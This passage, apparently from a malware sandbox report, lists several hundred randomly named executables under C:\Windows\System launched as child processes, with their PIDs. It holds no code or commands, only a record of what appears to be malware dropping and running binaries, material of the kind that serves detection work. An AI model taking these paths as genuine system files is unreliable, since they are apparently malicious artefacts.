  C:\Windows\System\ljxOwuY.exe
  2⤵
  PID:8396
- C:\Windows\System\MifPsBg.exe
  C:\Windows\System\MifPsBg.exe
  2⤵
  PID:8424
- C:\Windows\System\NKrNWwO.exe
  C:\Windows\System\NKrNWwO.exe
  2⤵
  PID:8452
- C:\Windows\System\QgMWFzT.exe
  C:\Windows\System\QgMWFzT.exe
  2⤵
  PID:8484
- C:\Windows\System\venAeVl.exe
  C:\Windows\System\venAeVl.exe
  2⤵
  PID:8512
- C:\Windows\System\olypfYO.exe
  C:\Windows\System\olypfYO.exe
  2⤵
  PID:8540
- C:\Windows\System\qMjsuGT.exe
  C:\Windows\System\qMjsuGT.exe
  2⤵
  PID:8568
- C:\Windows\System\XsFprVz.exe
  C:\Windows\System\XsFprVz.exe
  2⤵
  PID:8596
- C:\Windows\System\RtaQDVs.exe
  C:\Windows\System\RtaQDVs.exe
  2⤵
  PID:8624
- C:\Windows\System\UCPpKDt.exe
  C:\Windows\System\UCPpKDt.exe
  2⤵
  PID:8652
- C:\Windows\System\ExFCgzf.exe
  C:\Windows\System\ExFCgzf.exe
  2⤵
  PID:8680
- C:\Windows\System\cZEcuwH.exe
  C:\Windows\System\cZEcuwH.exe
  2⤵
  PID:8708
- C:\Windows\System\wUSvqqr.exe
  C:\Windows\System\wUSvqqr.exe
  2⤵
  PID:8736
- C:\Windows\System\jtHWPFX.exe
  C:\Windows\System\jtHWPFX.exe
  2⤵
  PID:8764
- C:\Windows\System\QAKRmPg.exe
  C:\Windows\System\QAKRmPg.exe
  2⤵
  PID:8792
- C:\Windows\System\xeJbTFU.exe
  C:\Windows\System\xeJbTFU.exe
  2⤵
  PID:8828
- C:\Windows\System\cKDJgIW.exe
  C:\Windows\System\cKDJgIW.exe
  2⤵
  PID:8856
- C:\Windows\System\nEeeLtx.exe
  C:\Windows\System\nEeeLtx.exe
  2⤵
  PID:8884
- C:\Windows\System\KgYmWUh.exe
  C:\Windows\System\KgYmWUh.exe
  2⤵
  PID:8912
- C:\Windows\System\HeHUJvZ.exe
  C:\Windows\System\HeHUJvZ.exe
  2⤵
  PID:8940
- C:\Windows\System\AeWqnmD.exe
  C:\Windows\System\AeWqnmD.exe
  2⤵
  PID:8968
- C:\Windows\System\VUtsCBE.exe
  C:\Windows\System\VUtsCBE.exe
  2⤵
  PID:8996
- C:\Windows\System\axSlMbE.exe
  C:\Windows\System\axSlMbE.exe
  2⤵
  PID:9032
- C:\Windows\System\OMSgGlj.exe
  C:\Windows\System\OMSgGlj.exe
  2⤵
  PID:9064
- C:\Windows\System\hSNsvjz.exe
  C:\Windows\System\hSNsvjz.exe
  2⤵
  PID:9080
- C:\Windows\System\OCMFpox.exe
  C:\Windows\System\OCMFpox.exe
  2⤵
  PID:9108
- C:\Windows\System\XGuwuQh.exe
  C:\Windows\System\XGuwuQh.exe
  2⤵
  PID:9136
- C:\Windows\System\fWDiNAd.exe
  C:\Windows\System\fWDiNAd.exe
  2⤵
  PID:9164
- C:\Windows\System\HKAnQJx.exe
  C:\Windows\System\HKAnQJx.exe
  2⤵
  PID:9180
- C:\Windows\System\aDTQxzi.exe
  C:\Windows\System\aDTQxzi.exe
  2⤵
  PID:8196
- C:\Windows\System\MrvmrSR.exe
  C:\Windows\System\MrvmrSR.exe
  2⤵
  PID:8268
- C:\Windows\System\BZguonM.exe
  C:\Windows\System\BZguonM.exe
  2⤵
  PID:8324
- C:\Windows\System\mCXxTFR.exe
  C:\Windows\System\mCXxTFR.exe
  2⤵
  PID:8388
- C:\Windows\System\QPavUDZ.exe
  C:\Windows\System\QPavUDZ.exe
  2⤵
  PID:8448
- C:\Windows\System\qHjLfkK.exe
  C:\Windows\System\qHjLfkK.exe
  2⤵
  PID:8524
- C:\Windows\System\TcpeUxB.exe
  C:\Windows\System\TcpeUxB.exe
  2⤵
  PID:8588
- C:\Windows\System\RmnfzyL.exe
  C:\Windows\System\RmnfzyL.exe
  2⤵
  PID:8648
- C:\Windows\System\YggetQF.exe
  C:\Windows\System\YggetQF.exe
  2⤵
  PID:8720
- C:\Windows\System\CAWAQUv.exe
  C:\Windows\System\CAWAQUv.exe
  2⤵
  PID:8784
- C:\Windows\System\LCgHabi.exe
  C:\Windows\System\LCgHabi.exe
  2⤵
  PID:8840
- C:\Windows\System\yixhyOz.exe
  C:\Windows\System\yixhyOz.exe
  2⤵
  PID:8904
- C:\Windows\System\rHIDAQQ.exe
  C:\Windows\System\rHIDAQQ.exe
  2⤵
  PID:8964
- C:\Windows\System\TERjYqM.exe
  C:\Windows\System\TERjYqM.exe
  2⤵
  PID:9040
- C:\Windows\System\GgzmaiW.exe
  C:\Windows\System\GgzmaiW.exe
  2⤵
  PID:9100
- C:\Windows\System\fyiEoww.exe
  C:\Windows\System\fyiEoww.exe
  2⤵
  PID:9160
- C:\Windows\System\yscjHUG.exe
  C:\Windows\System\yscjHUG.exe
  2⤵
  PID:8224
- C:\Windows\System\IRhhtjL.exe
  C:\Windows\System\IRhhtjL.exe
  2⤵
  PID:8364
- C:\Windows\System\xHyGUAa.exe
  C:\Windows\System\xHyGUAa.exe
  2⤵
  PID:8508
- C:\Windows\System\yJmXuec.exe
  C:\Windows\System\yJmXuec.exe
  2⤵
  PID:8676
- C:\Windows\System\IQqVKan.exe
  C:\Windows\System\IQqVKan.exe
  2⤵
  PID:8820
- C:\Windows\System\DMmxETW.exe
  C:\Windows\System\DMmxETW.exe
  2⤵
  PID:8952
- C:\Windows\System\RUDzgAd.exe
  C:\Windows\System\RUDzgAd.exe
  2⤵
  PID:9092
- C:\Windows\System\AuaIcYt.exe
  C:\Windows\System\AuaIcYt.exe
  2⤵
  PID:8280
- C:\Windows\System\TpQhWIH.exe
  C:\Windows\System\TpQhWIH.exe
  2⤵
  PID:8636
- C:\Windows\System\UKUxzud.exe
  C:\Windows\System\UKUxzud.exe
  2⤵
  PID:8472
- C:\Windows\System\oVmoFLx.exe
  C:\Windows\System\oVmoFLx.exe
  2⤵
  PID:8436
- C:\Windows\System\uzstTNM.exe
  C:\Windows\System\uzstTNM.exe
  2⤵
  PID:6980
- C:\Windows\System\HSVyjlC.exe
  C:\Windows\System\HSVyjlC.exe
  2⤵
  PID:9224
- C:\Windows\System\PkOxlfJ.exe
  C:\Windows\System\PkOxlfJ.exe
  2⤵
  PID:9252
- C:\Windows\System\ZPVKFrr.exe
  C:\Windows\System\ZPVKFrr.exe
  2⤵
  PID:9280
- C:\Windows\System\IvhmCHW.exe
  C:\Windows\System\IvhmCHW.exe
  2⤵
  PID:9308
- C:\Windows\System\CGcjLaI.exe
  C:\Windows\System\CGcjLaI.exe
  2⤵
  PID:9336
- C:\Windows\System\GGoDJtK.exe
  C:\Windows\System\GGoDJtK.exe
  2⤵
  PID:9364
- C:\Windows\System\PjdXrTh.exe
  C:\Windows\System\PjdXrTh.exe
  2⤵
  PID:9392
- C:\Windows\System\KpcbBQw.exe
  C:\Windows\System\KpcbBQw.exe
  2⤵
  PID:9420
- C:\Windows\System\JCHcZvP.exe
  C:\Windows\System\JCHcZvP.exe
  2⤵
  PID:9448
- C:\Windows\System\CKyZROr.exe
  C:\Windows\System\CKyZROr.exe
  2⤵
  PID:9476
- C:\Windows\System\xvuUkLw.exe
  C:\Windows\System\xvuUkLw.exe
  2⤵
  PID:9504
- C:\Windows\System\IIglIHO.exe
  C:\Windows\System\IIglIHO.exe
  2⤵
  PID:9532
- C:\Windows\System\LjaSndi.exe
  C:\Windows\System\LjaSndi.exe
  2⤵
  PID:9560
- C:\Windows\System\pcFDGnx.exe
  C:\Windows\System\pcFDGnx.exe
  2⤵
  PID:9588
- C:\Windows\System\moWZDGq.exe
  C:\Windows\System\moWZDGq.exe
  2⤵
  PID:9616
- C:\Windows\System\lPtrgtx.exe
  C:\Windows\System\lPtrgtx.exe
  2⤵
  PID:9644
- C:\Windows\System\OYWeufO.exe
  C:\Windows\System\OYWeufO.exe
  2⤵
  PID:9680
- C:\Windows\System\IHIXtnT.exe
  C:\Windows\System\IHIXtnT.exe
  2⤵
  PID:9708
- C:\Windows\System\IPjbVEk.exe
  C:\Windows\System\IPjbVEk.exe
  2⤵
  PID:9764
- C:\Windows\System\zlBKYmy.exe
  C:\Windows\System\zlBKYmy.exe
  2⤵
  PID:9804
- C:\Windows\System\KePfHOC.exe
  C:\Windows\System\KePfHOC.exe
  2⤵
  PID:9848
- C:\Windows\System\QWoLIft.exe
  C:\Windows\System\QWoLIft.exe
  2⤵
  PID:9888
- C:\Windows\System\BygqvZk.exe
  C:\Windows\System\BygqvZk.exe
  2⤵
  PID:9948
- C:\Windows\System\fxfKdza.exe
  C:\Windows\System\fxfKdza.exe
  2⤵
  PID:9980
- C:\Windows\System\VRfjMok.exe
  C:\Windows\System\VRfjMok.exe
  2⤵
  PID:10012
- C:\Windows\System\VIayaLU.exe
  C:\Windows\System\VIayaLU.exe
  2⤵
  PID:10028
- C:\Windows\System\QMJxajF.exe
  C:\Windows\System\QMJxajF.exe
  2⤵
  PID:10088
- C:\Windows\System\cMqzqVl.exe
  C:\Windows\System\cMqzqVl.exe
  2⤵
  PID:10104
- C:\Windows\System\FJwwlCs.exe
  C:\Windows\System\FJwwlCs.exe
  2⤵
  PID:10132
- C:\Windows\System\AUgiOwk.exe
  C:\Windows\System\AUgiOwk.exe
  2⤵
  PID:10160
- C:\Windows\System\HdnNQHk.exe
  C:\Windows\System\HdnNQHk.exe
  2⤵
  PID:10188
- C:\Windows\System\aOrRsmI.exe
  C:\Windows\System\aOrRsmI.exe
  2⤵
  PID:10216
- C:\Windows\System\vYgcbol.exe
  C:\Windows\System\vYgcbol.exe
  2⤵
  PID:9220
- C:\Windows\System\sfCfvcB.exe
  C:\Windows\System\sfCfvcB.exe
  2⤵
  PID:9292
- C:\Windows\System\pJKujdm.exe
  C:\Windows\System\pJKujdm.exe
  2⤵
  PID:9356
- C:\Windows\System\qXzDDfv.exe
  C:\Windows\System\qXzDDfv.exe
  2⤵
  PID:9416
- C:\Windows\System\xXQHgHJ.exe
  C:\Windows\System\xXQHgHJ.exe
  2⤵
  PID:9488
- C:\Windows\System\ujelqAv.exe
  C:\Windows\System\ujelqAv.exe
  2⤵
  PID:9552
- C:\Windows\System\pTbuqiD.exe
  C:\Windows\System\pTbuqiD.exe
  2⤵
  PID:9612
- C:\Windows\System\PPGUeYj.exe
  C:\Windows\System\PPGUeYj.exe
  2⤵
  PID:9700
- C:\Windows\System\gjPGjBG.exe
  C:\Windows\System\gjPGjBG.exe
  2⤵
  PID:9800
- C:\Windows\System\pCmgKqj.exe
  C:\Windows\System\pCmgKqj.exe
  2⤵
  PID:9872
- C:\Windows\System\nYSABcZ.exe
  C:\Windows\System\nYSABcZ.exe
  2⤵
  PID:9976
- C:\Windows\System\NnoiFYJ.exe
  C:\Windows\System\NnoiFYJ.exe
  2⤵
  PID:10060
- C:\Windows\System\IWCDmio.exe
  C:\Windows\System\IWCDmio.exe
  2⤵
  PID:10100
- C:\Windows\System\RZVJRvX.exe
  C:\Windows\System\RZVJRvX.exe
  2⤵
  PID:10156
- C:\Windows\System\qPSmxmf.exe
  C:\Windows\System\qPSmxmf.exe
  2⤵
  PID:10228
- C:\Windows\System\MaDxNFi.exe
  C:\Windows\System\MaDxNFi.exe
  2⤵
  PID:9332
- C:\Windows\System\iCqQvbB.exe
  C:\Windows\System\iCqQvbB.exe
  2⤵
  PID:9472
- C:\Windows\System\MypDTkz.exe
  C:\Windows\System\MypDTkz.exe
  2⤵
  PID:9608
- C:\Windows\System\eeyXKDZ.exe
  C:\Windows\System\eeyXKDZ.exe
  2⤵
  PID:9844
- C:\Windows\System\nPvXUeW.exe
  C:\Windows\System\nPvXUeW.exe
  2⤵
  PID:10020
- C:\Windows\System\kAQOYcO.exe
  C:\Windows\System\kAQOYcO.exe
  2⤵
  PID:10184
- C:\Windows\System\ypFfqFE.exe
  C:\Windows\System\ypFfqFE.exe
  2⤵
  PID:9444
- C:\Windows\System\IylLDEX.exe
  C:\Windows\System\IylLDEX.exe
  2⤵
  PID:9776
- C:\Windows\System\tbyWsfK.exe
  C:\Windows\System\tbyWsfK.exe
  2⤵
  PID:9248
- C:\Windows\System\KFFJoao.exe
  C:\Windows\System\KFFJoao.exe
  2⤵
  PID:10144
- C:\Windows\System\FUMaReB.exe
  C:\Windows\System\FUMaReB.exe
  2⤵
  PID:10248
- C:\Windows\System\wYPwozY.exe
  C:\Windows\System\wYPwozY.exe
  2⤵
  PID:10276
- C:\Windows\System\HIFfnDw.exe
  C:\Windows\System\HIFfnDw.exe
  2⤵
  PID:10312
- C:\Windows\System\QXwdneN.exe
  C:\Windows\System\QXwdneN.exe
  2⤵
  PID:10340
- C:\Windows\System\KtSkRwE.exe
  C:\Windows\System\KtSkRwE.exe
  2⤵
  PID:10368
- C:\Windows\System\jjkzGDV.exe
  C:\Windows\System\jjkzGDV.exe
  2⤵
  PID:10396
- C:\Windows\System\eZlzbKl.exe
  C:\Windows\System\eZlzbKl.exe
  2⤵
  PID:10424
- C:\Windows\System\nJrBxfm.exe
  C:\Windows\System\nJrBxfm.exe
  2⤵
  PID:10452
- C:\Windows\System\uFsYQsM.exe
  C:\Windows\System\uFsYQsM.exe
  2⤵
  PID:10480
- C:\Windows\System\iGxkINl.exe
  C:\Windows\System\iGxkINl.exe
  2⤵
  PID:10508
- C:\Windows\System\kdyiwai.exe
  C:\Windows\System\kdyiwai.exe
  2⤵
  PID:10536
- C:\Windows\System\oJorTpX.exe
  C:\Windows\System\oJorTpX.exe
  2⤵
  PID:10564
- C:\Windows\System\ecarylw.exe
  C:\Windows\System\ecarylw.exe
  2⤵
  PID:10592
- C:\Windows\System\enYhOmh.exe
  C:\Windows\System\enYhOmh.exe
  2⤵
  PID:10620
- C:\Windows\System\AGUgAgc.exe
  C:\Windows\System\AGUgAgc.exe
  2⤵
  PID:10648
- C:\Windows\System\eatxRCG.exe
  C:\Windows\System\eatxRCG.exe
  2⤵
  PID:10676
- C:\Windows\System\czlshMp.exe
  C:\Windows\System\czlshMp.exe
  2⤵
  PID:10704
- C:\Windows\System\XdAfgJU.exe
  C:\Windows\System\XdAfgJU.exe
  2⤵
  PID:10732
- C:\Windows\System\TohmTlN.exe
  C:\Windows\System\TohmTlN.exe
  2⤵
  PID:10760
- C:\Windows\System\AiFHKdT.exe
  C:\Windows\System\AiFHKdT.exe
  2⤵
  PID:10788
- C:\Windows\System\IwZOIXz.exe
  C:\Windows\System\IwZOIXz.exe
  2⤵
  PID:10816
- C:\Windows\System\ydyfMmK.exe
  C:\Windows\System\ydyfMmK.exe
  2⤵
  PID:10844
- C:\Windows\System\ISxPCmA.exe
  C:\Windows\System\ISxPCmA.exe
  2⤵
  PID:10872
- C:\Windows\System\UFbKYQf.exe
  C:\Windows\System\UFbKYQf.exe
  2⤵
  PID:10900
- C:\Windows\System\qKyzmeY.exe
  C:\Windows\System\qKyzmeY.exe
  2⤵
  PID:10928
- C:\Windows\System\kpeLdaE.exe
  C:\Windows\System\kpeLdaE.exe
  2⤵
  PID:10956
- C:\Windows\System\piYwpKW.exe
  C:\Windows\System\piYwpKW.exe
  2⤵
  PID:10984
- C:\Windows\System\LdPfcCa.exe
  C:\Windows\System\LdPfcCa.exe
  2⤵
  PID:11012
- C:\Windows\System\cLiZUII.exe
  C:\Windows\System\cLiZUII.exe
  2⤵
  PID:11040
- C:\Windows\System\vzRAeVs.exe
  C:\Windows\System\vzRAeVs.exe
  2⤵
  PID:11068
- C:\Windows\System\VDogQtK.exe
  C:\Windows\System\VDogQtK.exe
  2⤵
  PID:11096
- C:\Windows\System\zRKdnAa.exe
  C:\Windows\System\zRKdnAa.exe
  2⤵
  PID:11124
- C:\Windows\System\SODUrCf.exe
  C:\Windows\System\SODUrCf.exe
  2⤵
  PID:11152
- C:\Windows\System\NCDfZpY.exe
  C:\Windows\System\NCDfZpY.exe
  2⤵
  PID:11180
- C:\Windows\System\lQJPyzh.exe
  C:\Windows\System\lQJPyzh.exe
  2⤵
  PID:11208
- C:\Windows\System\YjJnJRm.exe
  C:\Windows\System\YjJnJRm.exe
  2⤵
  PID:11236
- C:\Windows\System\KnvHimc.exe
  C:\Windows\System\KnvHimc.exe
  2⤵
  PID:9716
- C:\Windows\System\ngHEzuu.exe
  C:\Windows\System\ngHEzuu.exe
  2⤵
  PID:10308
- C:\Windows\System\oXGGElM.exe
  C:\Windows\System\oXGGElM.exe
  2⤵
  PID:10380
- C:\Windows\System\tRNxvWg.exe
  C:\Windows\System\tRNxvWg.exe
  2⤵
  PID:10444
- C:\Windows\System\sGqGUbq.exe
  C:\Windows\System\sGqGUbq.exe
  2⤵
  PID:10504
- C:\Windows\System\OUXqqMN.exe
  C:\Windows\System\OUXqqMN.exe
  2⤵
  PID:10576
- C:\Windows\System\nOdKntZ.exe
  C:\Windows\System\nOdKntZ.exe
  2⤵
  PID:10640
- C:\Windows\System\TAoJUCA.exe
  C:\Windows\System\TAoJUCA.exe
  2⤵
  PID:10700
- C:\Windows\System\QyTdywk.exe
  C:\Windows\System\QyTdywk.exe
  2⤵
  PID:10772
- C:\Windows\System\MfmCJBr.exe
  C:\Windows\System\MfmCJBr.exe
  2⤵
  PID:10836
- C:\Windows\System\lMfgyMI.exe
  C:\Windows\System\lMfgyMI.exe
  2⤵
  PID:10896
- C:\Windows\System\hahGcem.exe
  C:\Windows\System\hahGcem.exe
  2⤵
  PID:10968
- C:\Windows\System\DSosmIG.exe
  C:\Windows\System\DSosmIG.exe
  2⤵
  PID:11032
- C:\Windows\System\uMvfEkh.exe
  C:\Windows\System\uMvfEkh.exe
  2⤵
  PID:11092
- C:\Windows\System\DtMIoGd.exe
  C:\Windows\System\DtMIoGd.exe
  2⤵
  PID:4952
- C:\Windows\System\OyPCEkP.exe
  C:\Windows\System\OyPCEkP.exe
  2⤵
  PID:11176
- C:\Windows\System\AUZiIfm.exe
  C:\Windows\System\AUZiIfm.exe
  2⤵
  PID:11248
- C:\Windows\System\IxgYYQC.exe
  C:\Windows\System\IxgYYQC.exe
  2⤵
  PID:10336
- C:\Windows\System\aeyyLVR.exe
  C:\Windows\System\aeyyLVR.exe
  2⤵
  PID:10492
- C:\Windows\System\qdRFQXt.exe
  C:\Windows\System\qdRFQXt.exe
  2⤵
  PID:10632
- C:\Windows\System\rmFCeZy.exe
  C:\Windows\System\rmFCeZy.exe
  2⤵
  PID:10800
- C:\Windows\System\SjiKjZH.exe
  C:\Windows\System\SjiKjZH.exe
  2⤵
  PID:10948
- C:\Windows\System\xOHoQfg.exe
  C:\Windows\System\xOHoQfg.exe
  2⤵
  PID:11088
- C:\Windows\System\opbPxUf.exe
  C:\Windows\System\opbPxUf.exe
  2⤵
  PID:11204
- C:\Windows\System\MFyttpX.exe
  C:\Windows\System\MFyttpX.exe
  2⤵
  PID:10436
- C:\Windows\System\RVyOPYU.exe
  C:\Windows\System\RVyOPYU.exe
  2⤵
  PID:10756
- C:\Windows\System\TxAuMJv.exe
  C:\Windows\System\TxAuMJv.exe
  2⤵
  PID:4424
- C:\Windows\System\cFoJdHI.exe
  C:\Windows\System\cFoJdHI.exe
  2⤵
  PID:10696
- C:\Windows\System\dhFFGBB.exe
  C:\Windows\System\dhFFGBB.exe
  2⤵
  PID:10604
- C:\Windows\System\AIVntcP.exe
  C:\Windows\System\AIVntcP.exe
  2⤵
  PID:11280
- C:\Windows\System\QzIEXBF.exe
  C:\Windows\System\QzIEXBF.exe
  2⤵
  PID:11308
- C:\Windows\System\sGmHNop.exe
  C:\Windows\System\sGmHNop.exe
  2⤵
  PID:11336
- C:\Windows\System\UARnOLl.exe
  C:\Windows\System\UARnOLl.exe
  2⤵
  PID:11364
- C:\Windows\System\kjGGfXm.exe
  C:\Windows\System\kjGGfXm.exe
  2⤵
  PID:11392
- C:\Windows\System\GDaQxAp.exe
  C:\Windows\System\GDaQxAp.exe
  2⤵
  PID:11420
- C:\Windows\System\GgGWEUB.exe
  C:\Windows\System\GgGWEUB.exe
  2⤵
  PID:11448
- C:\Windows\System\mxNtThI.exe
  C:\Windows\System\mxNtThI.exe
  2⤵
  PID:11476
- C:\Windows\System\MUbKNxf.exe
  C:\Windows\System\MUbKNxf.exe
  2⤵
  PID:11504
- C:\Windows\System\GJpPCuP.exe
  C:\Windows\System\GJpPCuP.exe
  2⤵
  PID:11532
- C:\Windows\System\hdsmbIn.exe
  C:\Windows\System\hdsmbIn.exe
  2⤵
  PID:11560
- C:\Windows\System\mahrOsg.exe
  C:\Windows\System\mahrOsg.exe
  2⤵
  PID:11588
- C:\Windows\System\jhitAgx.exe
  C:\Windows\System\jhitAgx.exe
  2⤵
  PID:11616
- C:\Windows\System\NTNCWJz.exe
  C:\Windows\System\NTNCWJz.exe
  2⤵
  PID:11644
- C:\Windows\System\TJfszXD.exe
  C:\Windows\System\TJfszXD.exe
  2⤵
  PID:11660
- C:\Windows\System\pPWNtuE.exe
  C:\Windows\System\pPWNtuE.exe
  2⤵
  PID:11700
- C:\Windows\System\lugOSYf.exe
  C:\Windows\System\lugOSYf.exe
  2⤵
  PID:11728
- C:\Windows\System\dRIoJSx.exe
  C:\Windows\System\dRIoJSx.exe
  2⤵
  PID:11756
- C:\Windows\System\bGsGegd.exe
  C:\Windows\System\bGsGegd.exe
  2⤵
  PID:11784
- C:\Windows\System\wwdSQfo.exe
  C:\Windows\System\wwdSQfo.exe
  2⤵
  PID:11812
- C:\Windows\System\wVJwBiv.exe
  C:\Windows\System\wVJwBiv.exe
  2⤵
  PID:11852
- C:\Windows\System\EQjQrhK.exe
  C:\Windows\System\EQjQrhK.exe
  2⤵
  PID:11868
- C:\Windows\System\tiQsvbf.exe
  C:\Windows\System\tiQsvbf.exe
  2⤵
  PID:11896
- C:\Windows\System\KDvNyJO.exe
  C:\Windows\System\KDvNyJO.exe
  2⤵
  PID:11940
- C:\Windows\System\kanYklE.exe
  C:\Windows\System\kanYklE.exe
  2⤵
  PID:11972
- C:\Windows\System\IZiULpU.exe
  C:\Windows\System\IZiULpU.exe
  2⤵
  PID:12000
- C:\Windows\System\falWluo.exe
  C:\Windows\System\falWluo.exe
  2⤵
  PID:12028
- C:\Windows\System\sVNsbnE.exe
  C:\Windows\System\sVNsbnE.exe
  2⤵
  PID:12056
- C:\Windows\System\Xpeoqdq.exe
  C:\Windows\System\Xpeoqdq.exe
  2⤵
  PID:12084
- C:\Windows\System\sZjiYwt.exe
  C:\Windows\System\sZjiYwt.exe
  2⤵
  PID:12100
- C:\Windows\System\ZiSgpbU.exe
  C:\Windows\System\ZiSgpbU.exe
  2⤵
  PID:12116
- C:\Windows\System\mGYJIEz.exe
  C:\Windows\System\mGYJIEz.exe
  2⤵
  PID:12136
- C:\Windows\System\TvjqecF.exe
  C:\Windows\System\TvjqecF.exe
  2⤵
  PID:12164
- C:\Windows\System\BGnmmxD.exe
  C:\Windows\System\BGnmmxD.exe
  2⤵
  PID:12216
- C:\Windows\System\RjFpAdY.exe
  C:\Windows\System\RjFpAdY.exe
  2⤵
  PID:12260
- C:\Windows\System\IyWBXnK.exe
  C:\Windows\System\IyWBXnK.exe
  2⤵
  PID:10408
- C:\Windows\System\xcuyGnR.exe
  C:\Windows\System\xcuyGnR.exe
  2⤵
  PID:11328
- C:\Windows\System\qrxMVbj.exe
  C:\Windows\System\qrxMVbj.exe
  2⤵
  PID:11404
- C:\Windows\System\TWvJeJb.exe
  C:\Windows\System\TWvJeJb.exe
  2⤵
  PID:11472
- C:\Windows\System\ByNCZKE.exe
  C:\Windows\System\ByNCZKE.exe
  2⤵
  PID:11544
- C:\Windows\System\nmJjUcB.exe
  C:\Windows\System\nmJjUcB.exe
  2⤵
  PID:11628
- C:\Windows\System\uLDPLGV.exe
  C:\Windows\System\uLDPLGV.exe
  2⤵
  PID:11692
- C:\Windows\System\fDsJkAF.exe
  C:\Windows\System\fDsJkAF.exe
  2⤵
  PID:11740
- C:\Windows\System\CmlFZxQ.exe
  C:\Windows\System\CmlFZxQ.exe
  2⤵
  PID:11772
- C:\Windows\System\EYTQcwA.exe
  C:\Windows\System\EYTQcwA.exe
  2⤵
  PID:11824
- C:\Windows\System\ONIsYPk.exe
  C:\Windows\System\ONIsYPk.exe
  2⤵
  PID:11836
- C:\Windows\System\XBMqyPN.exe
  C:\Windows\System\XBMqyPN.exe
  2⤵
  PID:11928
- C:\Windows\System\vdlPOZu.exe
  C:\Windows\System\vdlPOZu.exe
  2⤵
  PID:11960
- C:\Windows\System\eXlriOE.exe
  C:\Windows\System\eXlriOE.exe
  2⤵
  PID:12092
- C:\Windows\System\EtrwbLl.exe
  C:\Windows\System\EtrwbLl.exe
  2⤵
  PID:12148
- C:\Windows\System\vHrtVFI.exe
  C:\Windows\System\vHrtVFI.exe
  2⤵
  PID:12152
- C:\Windows\System\rsKweMp.exe
  C:\Windows\System\rsKweMp.exe
  2⤵
  PID:12280
- C:\Windows\System\DtxILll.exe
  C:\Windows\System\DtxILll.exe
  2⤵
  PID:11416
- C:\Windows\System\MiyHXDH.exe
  C:\Windows\System\MiyHXDH.exe
  2⤵
  PID:5548
- C:\Windows\System\ysdPDVg.exe
  C:\Windows\System\ysdPDVg.exe
  2⤵
  PID:11672
- C:\Windows\System\AALXYqT.exe
  C:\Windows\System\AALXYqT.exe
  2⤵
  PID:11808
- C:\Windows\System\DlolzpE.exe
  C:\Windows\System\DlolzpE.exe
  2⤵
  PID:11880
- C:\Windows\System\mCfAMYI.exe
  C:\Windows\System\mCfAMYI.exe
  2⤵
  PID:12024
- C:\Windows\System\rFFXiHx.exe
  C:\Windows\System\rFFXiHx.exe
  2⤵
  PID:5352
- C:\Windows\System\GkYtunq.exe
  C:\Windows\System\GkYtunq.exe
  2⤵
  PID:5400
- C:\Windows\System\EPGPrrL.exe
  C:\Windows\System\EPGPrrL.exe
  2⤵
  PID:12176
- C:\Windows\System\SeXjmxz.exe
  C:\Windows\System\SeXjmxz.exe
  2⤵
  PID:11608
- C:\Windows\System\qpBtfbj.exe
  C:\Windows\System\qpBtfbj.exe
  2⤵
  PID:11376
- C:\Windows\System\vDMjDfi.exe
  C:\Windows\System\vDMjDfi.exe
  2⤵
  PID:11612
- C:\Windows\System\gTvdiiY.exe
  C:\Windows\System\gTvdiiY.exe
  2⤵
  PID:1324
- C:\Windows\System\vTSQHfz.exe
  C:\Windows\System\vTSQHfz.exe
  2⤵
  PID:11992
- C:\Windows\System\SjQgPli.exe
  C:\Windows\System\SjQgPli.exe
  2⤵
  PID:12052
- C:\Windows\System\yeSYdIh.exe
  C:\Windows\System\yeSYdIh.exe
  2⤵
  PID:12256
- C:\Windows\System\bcWLAis.exe
  C:\Windows\System\bcWLAis.exe
  2⤵
  PID:12292
- C:\Windows\System\yJIviFn.exe
  C:\Windows\System\yJIviFn.exe
  2⤵
  PID:12320
- C:\Windows\System\OvjndSf.exe
  C:\Windows\System\OvjndSf.exe
  2⤵
  PID:12336
- C:\Windows\System\JKilZSQ.exe
  C:\Windows\System\JKilZSQ.exe
  2⤵
  PID:12364
- C:\Windows\System\huxVwej.exe
  C:\Windows\System\huxVwej.exe
  2⤵
  PID:12408
- C:\Windows\System\uTMQANJ.exe
  C:\Windows\System\uTMQANJ.exe
  2⤵
  PID:12444
- C:\Windows\System\MfXMryN.exe
  C:\Windows\System\MfXMryN.exe
  2⤵
  PID:12480
- C:\Windows\System\ijRDAgD.exe
  C:\Windows\System\ijRDAgD.exe
  2⤵
  PID:12536
- C:\Windows\System\rpPZPrX.exe
  C:\Windows\System\rpPZPrX.exe
  2⤵
  PID:12580
- C:\Windows\System\XPIhFBZ.exe
  C:\Windows\System\XPIhFBZ.exe
  2⤵
  PID:12608
- C:\Windows\System\QAfibuk.exe
  C:\Windows\System\QAfibuk.exe
  2⤵
  PID:12636
- C:\Windows\System\AADpqjZ.exe
  C:\Windows\System\AADpqjZ.exe
  2⤵
  PID:12660
- C:\Windows\System\CTtCDly.exe
  C:\Windows\System\CTtCDly.exe
  2⤵
  PID:12692
- C:\Windows\System\ggjeMHG.exe
  C:\Windows\System\ggjeMHG.exe
  2⤵
  PID:12720
- C:\Windows\System\NxmvCns.exe
  C:\Windows\System\NxmvCns.exe
  2⤵
  PID:12748
- C:\Windows\System\TzvaKKk.exe
  C:\Windows\System\TzvaKKk.exe
  2⤵
  PID:12776
- C:\Windows\System\RRDsmFB.exe
  C:\Windows\System\RRDsmFB.exe
  2⤵
  PID:12804
- C:\Windows\System\AdqCuyw.exe
  C:\Windows\System\AdqCuyw.exe
  2⤵
  PID:12832
- C:\Windows\System\DDjSNYO.exe
  C:\Windows\System\DDjSNYO.exe
  2⤵
  PID:12860
- C:\Windows\System\kBDuHMh.exe
  C:\Windows\System\kBDuHMh.exe
  2⤵
  PID:12892
- C:\Windows\System\VPhxQtK.exe
  C:\Windows\System\VPhxQtK.exe
  2⤵
  PID:12920
- C:\Windows\System\mOmrKsW.exe
  C:\Windows\System\mOmrKsW.exe
  2⤵
  PID:12948
- C:\Windows\System\AMbPOFS.exe
  C:\Windows\System\AMbPOFS.exe
  2⤵
  PID:12976
- C:\Windows\System\wmuUPXa.exe
  C:\Windows\System\wmuUPXa.exe
  2⤵
  PID:13004
- C:\Windows\System\dxCzuIJ.exe
  C:\Windows\System\dxCzuIJ.exe
  2⤵
  PID:13032
- C:\Windows\System\uKWVHUe.exe
  C:\Windows\System\uKWVHUe.exe
  2⤵
  PID:13060
- C:\Windows\System\sFoLQbk.exe
  C:\Windows\System\sFoLQbk.exe
  2⤵
  PID:13088
- C:\Windows\System\XsHUKGV.exe
  C:\Windows\System\XsHUKGV.exe
  2⤵
  PID:13116
- C:\Windows\System\VwhVxaG.exe
  C:\Windows\System\VwhVxaG.exe
  2⤵
  PID:13144
